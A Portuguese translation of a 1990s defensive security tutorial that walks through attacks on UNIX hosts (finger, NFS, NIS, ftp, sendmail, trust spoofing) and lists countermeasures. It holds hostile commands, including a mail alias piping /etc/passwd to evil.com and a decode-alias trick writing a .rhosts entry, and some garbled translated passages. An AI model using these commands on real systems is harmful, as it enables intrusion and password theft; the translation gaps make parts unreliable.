[ SEGURANÇA ]
Invadindo seu site para melhorar a segurança
Data do Documento: 10/03/1998
Ultima atualização: 10/03/1998 Palavras Chave: Segurança, Hacker, SATAN Tradutor: Verdade @bsoluta Arquivo: dan_01.html Status: completo 1685 Oak Street, #202 P.O. Box 513, 5600 MB San Francisco,CA 94117 Eindhoven,NL zen@fish.com wietse@wzv.win.tue.nl -------------- Diariamente, no mundo inteiro, cadeias de computador e "hosts" estão sendo invadidos. O nível de sofisticação destes ataques varia amplamente; enquanto geralmente acredita-se que a maioria das invasões tem sucesso devido a, senhas fracas, há ainda um número grande de intrusões que usam técnicas mais avançadas para invadir. Pouco sabemos sobre a maioria das técnicas de invasão, porque elas podem ser de diversas naturezas então são muito mais difíceis de se descobrir. ----- CERT. SRI. The Nic. NCSC. RSA. NASA. MIT. Uunet. Berkeley. Purdue. Sun. Você conhece eles, nos vimos eles serem invadidos. Qualquer coisa na Internet, é muito fácil de ser invadido e parecem um jogo muito fácil. São estes alvos usuais? O que acontece? Veja isto...
Um jovem garoto, com cabelos louros e brilhante, sentado em um quarto escuro. O quarto e iluminado somente pelo brilho de seu monitor. Dando um longo trago em seu cigarro, tenta sem parar telnets para o próximo site de sua lista ".mil". "guest -- guest", "root -- root" e "system -- manager" todos falham. Sem problemas. Ele tem a noite toda ... ele risca o host de sua lista e parte para próxima vitima pontecial ... Esta e a popular imagem de um cracker de systemas. Jovem, sem experiência e com muito tempo para gastar com mais um sistema (computador). Entretanto, este tipo esta distante dos mais perigosos crackers de sistemas. O cracker perigoso sabe todas as ultimas novidades em segurança de sistemas, auditoria de sistemas e ferramentas para quebra de sistemas, ele pode modificar ataques especifico e ele pode escrever seus próprios programas. Ele não fica somente lendo sobre as ultimas falhas de segurança, mas ele próprio descobre as falhas e vulnerabilidade dos sistemas. Uma criatura fatal, mortal que pode tanto envenenar e esconder seus ataques silenciosamente ou despistar seus passos. O "uebercracker" está aqui !!!. ----- Por que "uebercracker" ? A idéia obviamente foi roubada de Nietzsche’s uebermensch, ou, literalmente traduzida para o inglês ( e agora para o português .. ;) ) "super homem". Nietzsche usou este termo não para referir-se ao livro cômico superman, mas em vez disso a um homem que foi além da incompetencia e fraquezas do homem cotidiano. O "uebercracker" é no entanto o craker de sistemas que conhece vários métodos para invadir sistemas ele foi além dos métodos simples vistos em livros. Um "uebercracker" usualmente não é motivado a fazer ataques randomicos e violentos. Seus alvos não são arbitrários -- ele tem uma finalidade, ele quer ganhos monetários, ele quer corre atrás de informação ou quer derrubar, aniquilar destruir o mais importante ou prestigiado site ou personalidade da rede. Um "uebercracker" é difícil de detectar, difícil de parar e muitíssimo difícil de deixa-lo de fora, se nossos sites forem interessantes. Descrição
Neste documento nos iremos mostra um incomum método para segurança de sistemas. Em vez de meramente falar sobre os problemas, nos vamos olhar através dos olhos de um intruso em potencial (com os olhos de um intruso), e mostra "por que" ele é um intruso. Nós vamos mostra que até mesmo aparentemente inofensivos serviços de rede podem ser valiosas ferramentas para pesquisar os pontos fracos de um sistema, até mesmo quando os serviços operam corretamente eles são usados para ataques. Em um esforço para irradiar alguma luz de como as mais avançadas invasões ocorrem, este documento descreve vários mecanismos que os crackers estão usando atualmente para obter acesso a sistemas e, em complemento, algumas técnicas que qualquer intruso suspeito pode usar, ou que nós usamos em nossa próprias máquinas ou em maquinas de amigos ou com autorização do administrador. Nossa motivação para escrever este documento e que os administradores de sistemas freqüentemente não sabem ou não sentem a presença do perigo também não conhecem os ataques triviais. Também para informar que o nível de proteção depende do que deve ser protegido, muitos sites parece ter carência de documentos para avaliar qual nível de segurança é adequado para computadores e redes. Para mostrar o que os intrusos podem fazer para ganhar acesso a um computador remoto, nos vamos tentar montar uma ajuda para os administradores de sistemas para ficarem "informados" de quanto seus sites são seguros -- ou não. Nós vamos limitar a discussão a técnicas que podem permitir um intruso remoto acessar (talvez não interativo) shell em máquinas UNIX. Este é o objetivo -- nós consideramos também a dependência do site e , em muitos casos, coisas triviais não merecem muita discussão. Nós não queremos meramente fazer uma lista de bugs ou regras de segurança. O objetivo deste documento é uma leitura para olharmos nossos sistemas com outros olhos -- e proporcionar "segurança" e uma oportunidade para "entender" como os sistemas podem ser comprometidos. Nós gostaríamos de dizer novamente que o objetivo deste documento é testar a segurança de seu próprio site, e não para invadir sistemas de outras pessoas. As técnicas de invasão que vamos mostrar aqui com freqüência deixa traços em seus arquivos de log -- isto talvez seja construtivo para examinar após tentar algumas das técnicas de ataque, para ver o que um ataque real talvez deixe você ver. Certamente outros sites e administradores de sistemas vão ver suas atividade se você decidir usar estas técnicas nas maquinas deles para testar a segurança sem a autorização deles, talvez eles não falem nada, mas se perceberem que é um ataque é provável que ações legais sejam movidas contra você. Este documento tem quatro partes principais. A primeira parte é a introdução e descrição. A segunda parte é uma tentativa de mostra ao leitor como detectar um intruso e mostra os riscos de segurança caso você não conheça seu sistema. Esta parte mostra as técnicas para obter informações, cobre as estratégias básicas de invasão e fala sobre as configurações dos serviços básicos da rede (ftp, mail, tftp, etc.) Ela também discute rapidamente tópicos mais avançados, como NIS e NFS, vários erros comuns e problemas de configuração dos sistemas operacionais ou sistemas específicos. Estratégias defensivas contra vários ataques são tratadas aqui. A terceira parte fala sobre transações com confiança : O quanto a segurança de um sistema depende da integridade dos outros sistemas. A quarta parte cobre os pontos básicos para um administrador proteger seu sistema. Muitos dos métodos tratados aqui são conhecidos de todos, mas na pratica freqüentemente eles são ignorados -- vamos tentar mostrar os risco decorrente de ignorar as praticas básicas de segurança. Estudo de casos, links para tópicos de segurança e informações sobre softwarer são tratadas no final deste documento. Enquanto explorávamos os métodos e estratégias discutidas neste documento nos escrevemos o SATAN ( Security Analysis Tool for Auditing Networks.) Ele foi escrito em perl, shell, expect e C, ele examina uma máquina remota ou marca uma máquina e colhe todas as informações possíveis sobre os problemas da máquina NIS, finger, NFS, ftp e tftp, rexd e outros serviços. Ele mostra um relatórios com os vários pontos com potencial falhas de segurança -- usualmente as configurações incorretas ou serviços de rede configurados de forma errada, mostra os erros em sistemas ou utilitários de rede ou pobre ou ignorantes decisões de segurança. O SATAN não usa todos os métodos que vamos discutir aqui neste documento, mas vamos incluir todos e disponibilizar via ftp quando estiver completo; Apêndice A cobre os pontos que estão com defeitos. Note que não é possível cobrir todos os métodos de invasão de sistemas em um simples documento. Particularmente, não vamos falar sobre dois métodos de invasão de sistemas : Engenharia social e quebra de senha. O ultimo método é bom, no entanto, todas as estratégias discutidas aqui formam uma engrenagem para conseguir o arquivo de senhas. Em complemento, enquanto sistemas com janelas (X, OpenWindows, etc.) podem prover fértil terreno para exploração, nós simplesmente não conhecemos muitas técnicas usadas para invadir sistemas remotos via janelas. Muitos cracker de sistemas usam terminais non-bitmapped. Finalmente vermes, vírus, trojan horses e outras coisas muito interessantes não são comuns (em sistemas UNIX) e provavelmente usam técnicas similar as descritas neste documento com estratégias de ataques. Recolhendo Informações
Vamos assumir que você é o administrador do sistema vitima, que está na rede em uma estação ou servidor UNIX. Num esforço para a segurança de sua máquina, você pergunta para um administrador de sistemas amigo por exemplo o site (evil.com) para dar a você uma conta em uma de sua máquinas para que você veja a segurança de seu sistema de fora. O que fazer agora? Primeiro, vamos colher informações sobre sua máquina alvo. Vamos começar por alguns serviços de rede, veja : finger, showmount e rpcinfo são bons pontos para começar. Mas não pare aqui -- você deve utilizar também DNS, whois, sendmail (smtp), ftp, uucp e muitos outros serviços que você pode encontrar. São muitas as técnicas e métodos utilizados, mas vamos mostra as mais comuns e perigosas estratégias. O ideal é que você pegue todas a informação sobre todas as máquinas da sub-rede ou área de ataque -- informação é poder -- mas agora nós vamos examinar somente nosso alvo. Para começar, vamos ver o que o comando finger mostra para nós mesmo, em nossa máquina (vamos assumir que seja 6pm, Nov 6, 1993): vitima % finger @vitima.com
Bom !!!! Um usuário inativo -- esta é uma boa notícia se você deseja atacar o sistema agora -- é provável que ninguém notará se você de fato conseguir invadi-lo. Agora você tenta mais táticas. Quem conhece o finger sabe que finger "@", "0"e "", são alguns dos nomes comuns, tal como root, bin, ftp, system, guest, demo, manager, etc., podem revelar informações interessantes. As informações dependem da versão de finger que seu alvo está rodando, mas os mais notáveis mostram o nome da conta, seu diretório home e o host do ultimo login. Para adicionar estas informações, você precisa usar rusers ( com a flag -l) para pegar muitas informações sobre os usuários logados. Tentando este comando sobre vitima.com revela as seguintes informações, apresentado em uma forma tabelar comprimida para economizar espaço: Login Home-dir Shell
Last login, from where
Nossas experiências com o SATAN e vendo crackers de sistemas em ação tem provado que o finger é um dos serviços mais perigosos, por que ele é muito útil para investigar o alvo. Mas muitas destas informações somente são úteis quando usadas com outros dados. Por exemplo, se rodarmos showmount em nosso alvo, ele nos revela : evil % showmount -e vitima.com
Note que /export/foo é exportado para o mundo; note também que é o diretório home (Home-dir) do usuário guest. Pare para sua primeira invasão! Neste caso, você pode montar o diretório home do usuário "guest". Note você não tem uma conta correspondente na máquina local e root não pode mudar arquivos sobre um NFS sistema de arquivos montado, você cria uma conta "guest" no seu arquivo local de senhas. Sobre o usuário guest você pode colocar um .rhosts entre no home-dir do guest remoto, agora permite que você faça login na máquina alvo sem pedir a senha. evil # mount vitima.com:/export/foo /foo
Se, em substituição ao home-dir, vitima.com nos exportarmos filesystems de comados do usuario (/usr ou /usr/local/bin), você pode trocar os comandos por um "trojan horse" que executa qualquer comando que você escolher. O próximo usuário que executar um dos comandos escolhidos na verdade vai executar seu programa. Nós sugerimos que o sistema de arquivo deve ser exportado :
Se o alvo tem um "+" no arquivo /etc/hosts.equiv (o default em várias máquinas novas) ou tem erro em netgroups (Aviso do CERT número 91:12), qualquer usuário que não seja root com uma conta no arquivo de senhas do alvo, pode logar no alvo sem senha. E note que o usuário "bin" freqüentemente dono de arquivos e diretórios, seu próximo ataque é tentar logar no alvo e modificar o arquivo de senhas para você ter acesso de root : evil % who am i
Algumas notas sobre o método usado acima; "rsh vitima.com csh -i" é utilizado para acessar o sistema por que não deixa nenhum rastro no arquivos de auditoria do sistema wtmp ou utmp, torna rsh invisível para finger e who. O shell remoto não é incorporado ao pseudo-terminal, mas, programas orientados a telas vão falhar, mas esta é uma boa forma de explorar um sistema silenciosamente. A ferramenta de auditoria de segurança COPS (veja apêndice D) mostra os arquivo e diretórios com permissão de escritas para outros usuários além do root. Se você roda SunOS 4.x você pode rodar o patch 100103 para resolver os problemas de permisão de arquivos. Em muitos sistemas, rsh descrito acima, tem sucesso e roda silenciosamente, a ferramenta tcp wrapper (apêndice D), com logs de conexão, pode ajuda-lo a verificar as atividades do rsh. ----- E agora? Você já descobriu todos os furos do seu sistema alvo? Vamos voltar ao resultado do comando finger do seu alvo, você notou que tem uma conta de ftp, que usualmente significa que anonymous ftp está ativa. Anonymous ftp pode ser uma forma fácil de obter acesso, por que freqüentemente está mal configurada. Por exemplo, o alvo talvez tenha uma copia completa do arquivo /etc/passwd no diretório do ftp anonymo ~ftp/etc. Em nosso exemplo a ultima afirmativa parece não ser verdadeira. Que tal você examinar os arquivos ? , Hhhuuummmm, você notou que o diretório home do ftp da vitima permite escrita.. Isto permite que você execute um comando remotamente -- neste caso, enviando o arquivo de password para você mesmo -- um metodo simples para criar um arquivo .forward que executa um comando quando um mail é enviado para o ftp anonymous. Este é um mecanismo semelhante ao mail que usamos quando estamos de ferias, o programa automaticamente da um replay de uma mensagem evil % cat forward_sucker_file
Agora você sismplesmente espera o arquivo de senhas ser enviado para você. A ferramenta de analise de segurança COPS pode checar a configuração do seu ftp anonymous; leia a página man para tfpd, a documentação/codigo do COPS ou aviso CERT número 93:10 para saber como configurar corretamente um ftp anonymous. Vulnerabilidades em ftp são freqüentemente devido a donos de arquivos incorretos ou permissões de arquivos e diretórios. É muito importa que você tenha certeza de que ~ftp e todos os arquivos e diretórios abaixo do ~ftp seja de propriedade do usuário root e não permite escrita por qualquer usuário. Enquanto checa o ftp você pode conferir um erro antigo que era amplamente explorado : % ftp -n
Se isto funcionar, agora você está logado como root e pode modificar o aquivo de senhas ou fazer o que quiser. Se o seu sistema tem este erro, você definitivamente deve fazer um update do seu tfpd daemon, fale com o seu vendedor ou via ftp de ftp.uu.net. O wuarchive ftpd, um popular daemon de ftp disponibilizado na Washington University em Saint Louis, possui este problema. Se o seu wuarchive ftpd pré-data 8 de abril de 1993, você deve troca-lo por uma versão mais recente. Finalmente, aqui está um programa similar ao ftp é o tftp -- tftp ou trivial file transfer program. Este daemon não requer nenhuma senha para autenticação (usualmente tem uma flag setada no arquivo inetd.conf), e um atacante pode ler e escrever em qualquer lugar do sistema. No nosso exemplo, você pegou remotamente o arquivo de senhas e trouxe para sua máquina local, diretório /tmp : evil %
Por segurança, tftp não deve rodar; se tftp é necessário, use a opção/flag de segurança para restringir o acesso a um diretório que não tenha informações valiosas, ou rode ele sobre o controle de um programa de chroot. ---- Se nenhum dos métodos prévios funcionaram, é hora de tomar medidas mais drásticas. Você tem um amigo, rpcinfo, um programa que está ao alcance da sua mão, algumas vezes mais útil que finger. Muitos hosts rodam serviços de RPC que podem ser explorados; rpcinfo podem falar com portmapper e lhe mostre o modo. Pode lhe falar se o host está rodando NIS, se é um servidor de NIS ou slave, se um existe um workstation diskless nas proximidades, e se ele roda NFS, quaisquer dos serviços de info (rusersd, rstatd, etc.), ou qualquer outros programas incomuns (programas de auditoria ou segurança). Vamos voltar para nosso alvo : evil% rpcinfo -p vitima.com [output trimmed for brevity's sake]
Neste caso, você pode ver vários fatos significantes de nosso alvo; o primeiro é que ele é um servidor de NIS. Isto não é amplamente conhecido, mas uma vez que você saiba o nome de domínio de um servidor de NIS, você pode adquirir qualquer de seus mapas de NIS com um simples exame de rpc, até mesmo quando você está fora da subrede do servidor de NIS (por exemplo, usando o programa de YPX que pode ser achado nos arquivos de comp.sources.misc em ftp.uu.net). Em adição, muitos gostam de senhas faceis de lembrar/adivinhadas, muitos sistemas usam nome de dominio de NIS facilmente adivinhado. Tentativas de adivinhar o nome de dominio do NIS é freqüentemente muito frutífero. Candidatos bons são os nomes de host completos e parcial (por exemplo "vitima" e "vitima.com"), o nome da organização, nome de netgroup mostrados na saida do "showmount ", e assim por diante. Se você quisesse supor o nome de dominio para "vitima", você poderia digitar: evil% ypwhich -d vitima vicima.com
Esta foi uma tentativa fracassada; se você tivesse adivinhado corretamente ela iria devolver o nome do host do servidor de NIS da vitima.com. Porém, note na seção de NFS que a vitima.com está exportando o diretório " /var " para o mundo. Tudo que precisamos fazer é montar este diretório e vrificar o subdirectório de "yp"-- entre outras coisas você verá outros subdirectórios que contém o o nome de domínio do alvo. evil #mount vitima.com:/var /foo
[...] Neste caso, foo_bar " é o domínio de nome do NIS. Além, os mapas de NIS contêm freqüentemente uma lista boa de nomes de user/employee como também listas de hosts internos, não menciona senhas para invasão. Apêndice C detalha os resultados de um estudo de caso com senhas dos arquivos de NIS. ---- Você pode notar que a saida do rpcinfo também mostrou que a vitima.com roda rexd. Como o daemon de rsh, rexd processa pedidos da seguinte forma " por favor execute este comando como aquele usuário". Distinto de rshd, porém, rexd não se preocupa se o host de cliente está no hosts.equiv ou arquivos de .rhost. Normalmente o programa rexd está no modo comando, mas ele só leva um pequeno programa em C para enviar arbitrariamente para o host client e informação de userid ao servidor de rexd; felizmente rexd executara o comando. Por estas razões, rodar rexd é semelhante a não Ter senha para nada: toda a segurança está na cliente, não no servidor onde deveria ser. Segurança de Rexd pode ser melhorada um pouco usando RPC seguro. ---- Enquanto olhava para a saida do rpcinfo, você observa que vitima.com também parece ser um servidor para workstations de diskless. Isto é comprovado pela presença do serviço de bootparam, que provr informações para os clientes diskless darem boot. Se você perguntar corretamente, usando BOOTPARAMPROC_WHOAMI e informar o endereço de um cliente, você pode conseguir seu nome de dominio do NIS. Isto pode ser muito útil quando combinado com o fato que você pode adquirir o mapa de (como o arquivo de senha) quando você saibe o nome de dominio do NIS. Aqui é um pedaço de código que mostra como fazer isso (bootparam é parte do SATAN.) char *server;
/ * initialization omitted... * / callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS,
BOOTPARAMPROC_WHOAMI,
printf (" %s has nisdomain %s\n ", server, res.domain_name); A saida de showmount indicou que "easy" é um cliente de diskless de vitima.com, assim nós usamos este endereço de cliente na "questão" BOOTPARAMPROC_WHOAMI : evil% bootparam vitima.com easy.vitima.com
---- NIS mater controla o aliases de mail para o domínio do NIS em questao. Só gual correio local pseudônimo arquivos, você pode criar um pseudônimo de correio que ai execute comandos quando correio é enviado a isto (um uma vez exemplo popular disto é o " decodifique " pseudônimo que uudecodes remetem para arquivos enviado a isto.) Para instância, aqui você cria um foo " de pseudônimo " que remete o arquivo de contra-senha atrás para evil.com remetendo qualquer mensagem simplesmente para isto: nis-master # echo ' foo ": | mail zen@evil.com <
/etc/passwd " ' >> /etc/aliases
Esperançosamente atacantes não terão controle de seu NIS mestre anfitrião, mas até mesmo mais esperançosamente a lição está clara--NIS normalmente é inseguro, mas se um atacante tem controle de seu mestre de NIS, então s/he tem efetivamente controle do cliente é anfitrião (por exemplo pode executar comandos arbitrários). Não há muitas defesas efetivas contra ataques de NIS; é um serviço inseguro que não tem quase nenhum autenticação entre clientes e servidores. Fazer coisas pior, parece razoavelmente clareie aquele arbitrário podem ser forçados mapas sobre até mesmo servidores de mestre (por exemplo, é possível para trate um servidor de NIS como um cliente). Isto, obviamente, subverteria o schema inteiro. Se é absolutamente necessário usar NIS e escolhe um duro adivinhar domainname podem ajudar ligeiramente, mas se você corre diskless clientes que são expostos então aos atacantes potenciais isto são triviais para atacante para derrotar este passo simples usando o bootparam engana adquira o domainname. Se NIS é usado para propagar a contra-senha traça, então contra-senhas de sombra não dão proteção adicional porque a sombra mapa ainda é acessível a qualquer atacante que tem raiz em um atacar anfitrião. Melhor é usar NIS tão pequeno quanto possível, ou para pelo menos perceba que os mapas podem estar potencialmente sujeito a perusal por hostil forças. RPC seguro vai um modo longo para diminuir a ameaça, mas tem seu próprio problemas, principalmente nisso é difícil administrar, mas também em que os métodos de cryptographic usaram dentro não é muito forte. Tem sido rumorado que NIS+, o serviço de informação de cadeia novo de Sol, dificuldades, alguns destes problemas, mas até agora isto foi limitado a correndo em Sóis, e assim longe não viveu até a promessa do desígnio. Finalmente, usando pacote que filtra (ao muito menos porto 111) ou securelib (veja apêndice D), ou, para Sóis, aplicando Sol remendo 100482-02 tudo podem ajudar. ---- O portmapper só conhece os serviços de RPC. Outros serviços de rede podem ser localizado com um método de força bruta que conecta a toda as portas da rede. Muitos utilitarios de rede e sistemas de windowing escutam/trabalham (listen) com portas especificas (por exemplo sendmail ouve/trabalha na porta 25, telnet na porta 23, janelas de X estão normalmente na porta 6000, etc.) o SATAN inclui um programa que esquadrinha as portas de hosts distantes e relata/lista o que encontra; se você rodar isto contra o nosso alvo você vera : evil% tcpmap vitima.com
Isto sugere que vitima.com está rodando X windows. Se não for protegida corretamente (pelo mágico cookie ou mecanismos de xhost), X windows podem ser capturadas ou vistas (assistidas), podem ser roubados de usuário, pode executar programas remotamente, etc. Também, se o alvo está rodando X windows e aceita um telnet para a porta 6000, isso pode ser usado para uma recusa/negação de ataque de serviço, o sistema de windowing do alvo freqüentemente congelara por um pequeno período. Um método para determinar o vulnerabilidade de um servidor de X é conectar-se a ele usando a função XOpenDisplay (); se a função retornar NULO então você não pode ter acesso a exibição da vitima (opendisplay é parte do SATAN): char *hostname; if (XOpenDisplay(hostname) == NULO) {
evil% opendisplay vitimn.com:0
X terminals, são muito menos poderosos que um sistema de UNIX completo, podem Ter seus próprios problemas de segurança. Muitos X terminal permitem um acesso irrestrito a rsh, permitem inicializar o cliente X no terminal da vitima com saida que parece terem sido produzidas pelo nosso próprio terminal : evil% xhost +xvitima.vitima.com
Em todo caso, dê muita atenção para a segurança de sua janela (windows) para seus filesystem e utilitarios de rede , porque certamente eles podem comprometer o seu sistema como um " + " em seu hosts.equiv ou uma conta passwordless (root) (conta sem senha). ---- Agora, você examina o sendmail. Sendmail é programa muito complexo e tem uma longa histoória com problemas de seguraná, incluindo o infame comando "wiz", (esperançosamente desabilitado em todas as máquinas). Você pode freqüentemente determine o SO, às vezes até o número de versão, do alvo, olhando o número de versão devolvida através de sendmail. Isto, pode lhe dar algumas sugestões o quanto o SO é vulnerável aos vários tipos de bug. Além disso, você pode ver se ele roda o alias "decode", que tem uma lista de problemas próprios : evil % telnet vitima.com 25
Rodar o alias "decode" é um risco para segurança -- ele permite a potenciais atacantes escrever em qualquer arquivo que é writable pelo dono deste alias -- freqüentemente daemon, mas potencialmente qualquer usuário. Considere este pedaço de e-mail -- isto colocará "evil.com" no arquivo .rhosts de zen se ele for writable: evil% echo "evil.com " | uuencode /home/zen / .rhosts | mail decode@vitima.com Se nenhum diretório de home é conhecido ou writable, uma variação interessante, é criar um falso arquivo /etc/aliases.pag que contém um alias com um comando você deseja executar em seu alvo. Isso pode funcionar em muitos sistemas os arquivos aliases.pag e aliases.dir, que controla os aliases de correio do sistema, são writable para o mundo. evil % cat decode
Muitas coisas podem ser descobertas perguntando ao sendmail se um endereço é aceitável (vrfy), ou o para o qual endereço se expande (expn). Quando o finger ou serviços de rusers são tirados fora, vrfy e expn ainda podem ser usados para identificar contas de usuarios ou alvos. Vrfy e expn também podem ser usados para descobrir se o usuário está filtrando e-mail por algum programa que poderia ser explorado (por exemplo férias, tipo de e-mail, etc.). Pode ser um boa idéia boa para incapacitar os comandos vrfy e expn: em muitas versões olhar o fonte srvrsmtp.c, e apague ou muda as duas linhas na estrutura de CmdTab que tem as strings "vrfy" e "expn". Até mesmo em sites sem o fonte expn e vrfy podem ser desativados, basta usar um editor binário e editar o executável do sendmail e substituir "vrfy" e "expn" por espaços em branco. Adquiri uma versão recente do sendmail (veja Apêndice D) é também uma idéia extremamente boa, desde que lá tenha mais informações sobre os bugs de segurança que o sendmail possa causar em qualquer outro programa de UNIX. ---- No sendmail-sendoff, há dois conhecidos bugs que devem ser conferido. O primeiro definitivamente foi corrigido na versão 5.59 de Berkeley; apesar das mensagens abaixo, para versões de sendmail anteriores a 5.59, "evil.com" consegue agregar, apesar das mensagens de erro, ao longo de todos os cabeçalhos (heards) de um típico e-mail, para o arquivo especificado,: % cat evil_sendmail
O segundo furo, só foi concertado recentemente, permitia a qualquer um especificar um comando arbitrário de shell e/ou pathnames para sender e/ou destination address. Tentativas para manter segredo de detalhes eram em vão, e discussões extensas remetidas para listas e grupos de notícias de usenet conduzindo revelação de como explorar algumas versões do bug. Como em muitos bugs do UNIX, o sendmail de todos os vendedores eram vulneráveis ao problema, pois tem a ascendência de um código fonte comum. Devido a brevidade do documento nos impede de discutir completamente as características do bug, mas um ataque típico para adquirir o arquivo de senha poderia se parecer: evil % telnet vitima.com 25
Na hora de escrever, a versão 8.6.4 de sendmail (veja Apêndice D para informação de como adquiri-lo) foi reportado que esta era a única variante de sendmail com todos os recentes bugs de segurança corrigidos. Confiança
Para nosso tópico final de vulnerabilidade, nós iremos da estratégia prática para divagar com o auxílio de conceitos teórico, numa breve discussão sobre noções de confiabilidade. Os assuntos e implicações de vulnerabilidade aqui tratados são um pouco mais sutil e de longo alcance em relação ao que foi discutido anteriormente; no contexto deste documento nós usaremos a palavra confiança sempre que existir uma situação em que um servidor (note que qualquer host que permite acesso distante pode ser chamado um servidor) permitir usar um recurso local por um cliente sem autenticação por senha quando a autenticação de senha normalmente é requerido. Em outras palavras, nós limitamos a discussão arbitrariamente para os clientes confiáveis. Há muitos modos para um host confiar em outro : Os arquivos .rhosts e hosts.equiv permitem acesso sem verificação de senha; windows server permite que sistemas remotos usem e abusem de privilégios; arquivos exportados que são controlados por NFS, e mais. Quase todos estes serviços confiam na conversão de endereço IP em hostname para determine se o serviço será concedido. Um método simples é o uso do arquivo /etc/hosts para fazer um lookup direto. Porém, hoje a maioria dos hosts usa DNS (o Serviço de Nome de Domínio), NIS, ou ambos para fazer um lookup de nome de servidores. Um lookup reverso acontece quando um servidor tem um endereço de IP (de um host cliente que está conectando-se a ele) e deseja adquirir os correspondendo hostname de cliente. Embora o conceito de como um host confiável trabalha seja bem compreendido pela maioria dos administradores de sistemas, os _perigos_ da confiança, e o problema _pratico_ que representa, é um dos menores problemas que nós sabemos sobre a Internet. Isto vai longe além obviamente dos arquivos hosts.equiv e rhosts; NFS, NIS, sistemas de janelas (windowing) -- realmente, muitos dos serviços úteis em UNIX são baseados em conceito bem conhecidos (por administradores ou usuários) "sites" são considerados confiáveis em algum ponto/local. O que não é compreendido é como redes tão seguras e firmemente ligadas/conectadas podem normalmente ser consideradas redes separadas. Qualquer forma de confiança pode ser filtrada, pode ser enganar, ou pode subverter, especialmente quando a autoridade que é examinada para conferir as credenciais do cliente está fora do domínio administrativo do servidor, ou quando o mecanismo de confiança está baseado em algo do que tem uma forma fraca de autenticação; normalmente ambos são os caso. Obviamente, se o host que contém o banco de dados (ou NIS, DNS, ou tudo que) que foi assumido como confiável, o intruso pode convencer o host alvo de que ele esta vindo de um hosts confiável; isto é o suficiente para descobrir quais hosts de fora são considerados confiáveis pelo host alvo. Esta tarefa é com freqüência muito facilitada examinando onde os administradores de sistemas e as contas do sistema (como root, etc.) gravaram a origem dos últimos logins. Voltando para nosso alvo, vitima.com, você nota que root e algumas outras contas de sistema são logadas de grande.vitima.com. Você muda o registro PTR para evil.com assim quando você tenta um rlogin de evil.com para vitima.com, vitima.com tentará observar seu hostname e achará você no registro. Se estiver registrado no banco de dados do DNS de uma olhada: 1.192.192.192.in-addr.arpa IN PTR evil.com E você muda isto para: 1.192.192.192.in-addr.arpa IN PTR Grande.vitima.com então, dependendo em como ingênuo o software de sistema de vitima.com é, vitima.com acreditara que o login vem de grande.vitima.com, e, assumindo isso grande.vitima.com está nos arquivos /etc/hosts.equiv ou /.rhosts, você será capaz de realizar login sem informar uma senha. Com NIS, esto é simples qualquer um que edite o banco de dados do host no NIS master (se ele é controlado pelo intruso) ou spoofing ou forçando NIS (veja discussão sobre segurança de NIS) coloca no alvo todas as informações que você deseja. Embora mais complexo e interessante, podem ser montados ataques prejudiciais por DNS, nosso tempo e espaço não permitem a cobertura destes métodos aqui. Podem ser usados dois métodos para prevenir tal ataca. O primeiro é o mais direto, mas talvez não seja o mais prático. Se seu "site" não trabalha com hosts confiáveis você não está vulnerável a host spoofing. A outra estratégia é usar protocolos de criptografia. Usando o protocolo de RPC seguro (usado em NFS seguro, NIS+, etc.) é um método; embora ele poça ser "quebrado" criptografia, ainda provê garantias melhor que esquemas de RPC que não usam qualquer forma de encriptação. Outras soluções, ambos hardware (smartcards) e software (Kerberos), estão sendo desenvolvidas, mas elas ou estão incompletas ou requerem mudanças no software do sistema. Apêndice B detalha os resultados de uma pesquisa informal realizada sobre uma variedade de hosts na Internet. Protegendo o sistema
É nossa esperança que tenhamos demostrado como até mesmo algum dos serviços aparentemente inócuo podem oferecer (às vezes inesperadamente) munição para determinados rackers de sistema. Mas, claro que, se não fosse possível oferecer segurança, computadores nunca poderiam formar grandes redes, pois literalmente existem milhões de intrusos potenciais. Em lugar de reiterando conselho específico em o que permitir e o que não permitir, nós ao invés vamos ofereça algumas sugestões gerais: o Se você não pode desabilitar o serviço finger, considere a instalação de daemon de finger modificado. Raramente necessário revelar o diretório home de um usuário e a origem do seu último login. o Não rodem NIS a menos que seja absolutamente necessário. Use NFS o menos possivel possível. o Nunca exportar filesystems de NFS irrestrito para o mundo. Tente sistemas de arquivo de exportação somente de leitura onde possível. o Fortaleça a proteção a servidores (por exemplo hosts que provêem um serviço para outros hosts -- NFS, NIS, DNS,...) Só permita contas administrativas neste hosts. o Examine cuidadosamente serviços oferecidos por inetd e o portmapper. Elimine qualquer um que você não precisa explicitamente. Use Wietse Venema inetd wrappers, se por nenhuma outra razão você registra os logs do seu host. Isto facilima muito a auditoria de sistema UNIX, especialmente com respeito a ataques de rede. Se possível, uso o mecanismo de loghost de syslog para colecionar informação sobre segurança-relacionada em um host seguro. o Eliminate hosts confiáveis a menos que haja uma necessidade absoluta para isto. Hosts confiáveis são seu inimigo. o Use shadown password e um comando de passwd que desaprovam senhas pobre. Incapacite ou apague unused/dormant sistemas ou usuários. o Mantenha-se informado sobre a literatura atual (veja nossa lista de sugestões para leitura lista e a bibliografia ao término deste documento) e ferramentas de segurança; comunique para outros administradores sobre problemas de segurança e incidentes. No mínimo, subscreva o CERT que remete furos de segurança e veja revistas sobre phrack (assine a lista sobre firewalls, se seu "site" está usando ou está pensando em instalar um firewall) e leia o newsgroups de segurança de usenet para seguir as mais recentes informações sobre problemas de segurança. Ignorância é o problema de segurança mais mortal ao qual devemos estar atentos. o Instale todos os patches de segurança indicado pelo vendedor do seu produto o mais rápido possível, em todos os seus hosts. Examine informação de patches de segurança para outros vendedores -- muitos bugs (rdist, sendmail) são comuns em muitas versões de UNIX. É interessante notar que soluções comuns para problemas de segurança como Kerberos corrente ou senhas por tempo ou usar fichas digitais são ineficaz contra a maioria dos ataques que nós discutimos aqui. Nós condicionalmente recomendamos o uso de tais sistemas, mas fique atento pois ele _não_ são uma solução de segurança total -- eles são parte de uma luta maior para defenda seu sistema. Conclusões
